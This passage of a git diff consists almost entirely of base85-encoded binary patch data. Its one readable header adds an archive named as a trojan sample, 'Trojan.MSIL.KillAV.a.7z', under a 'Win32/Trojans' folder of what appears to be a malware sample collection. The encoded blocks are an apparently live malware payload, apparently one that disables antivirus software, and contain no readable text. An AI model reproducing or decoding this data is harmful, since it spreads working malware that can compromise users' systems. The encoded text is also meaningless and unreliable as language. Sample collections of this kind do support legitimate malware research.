zeXT7x75;VoqlC+IXKr+@w!+pKUzg8ALMGBO!@f71-j|(K_wZ6K_T6w!nn23h^H-*$ z1KlohJKZ_knC9qF)~W0r!qjCPe0cws_{olG94?Ihdw7#Apa1xY4eE;ZDxE$vxdaUF zPye{JLw#}`#}OBQL~$PcezVSCD33*lOO`AycJO+J|hNKgSMx_RIASC-p;nF;_?afUlNh<`HoJfRrrx+QEkkaf8^*; zk=pi*v0yuIOWZ<*uII{J&}Kr^q~z#usJXWxb>DLN9k&z_b?3N%(bKA9vdhV<9!%eR zKK7iWR7PDqw$<=N0JbsN(^FUDD9iS(f9Q>a;h@k>H!2!Et1H**0yU*we+t`Npys?b zhds@>x{kY=HFFz&p!r$UxXFU9ss0jrVQuV6ey#qtxuVkcLWTKOjrf_yDaxwv92b;x zsPgSqR5GfI=H_{^nA*^oK7XFMrYUh?@#M^z;N&ecCQI{0wo7{@Fmx5+vs}G~cH#CJ#NT-#W zst71*T^BJlk8$A3x#(IfKD(tcf2LrG|6YPX@k@c)s{`EQoBHoP?Egyh3!3w}63C-P z&keTs$jA>iWZ|yx-^$1E3vw}|t6Y0UjYj4P{SzN;v4ZoG#Y+^Xnurk>Z7yVsqg$t% zS^AB<&Z)Q8x(a?SA7X7FS|c6aT>aW|Dr z=I!yzT8H(#O#5I~6+ezo$+UFl%XyYzP^Xa})&Z`S`)hON#4VusJ>|D1t*Yx~X&AHe>8 z4euR0-2W8*xaq%#Ctm=*GyK5cQ25{L!2c9oC%OM$!ISUv-5DLW_uses{wZ4!|G#G= z-)g!uTNl`E{^wo7V8`j7QZ2757C`4+ck9omLcVcxXR3^Yf7-wKryK{V`-tTIuN>rG nP}-TJN0fr%zrU{ZryNldJ-c#H(?CVO2mBrf%U@rcL7)B)Y>9KP literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.a.7z b/Win32/Trojans/Trojan.MSIL.KillAV.Generic/Trojan.MSIL.KillAV.a.7z new file mode 100644 index 0000000000000000000000000000000000000000..57c3348b6e244b4c30b5fd963032cb927c7ed304 GIT binary patch literal 6487 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 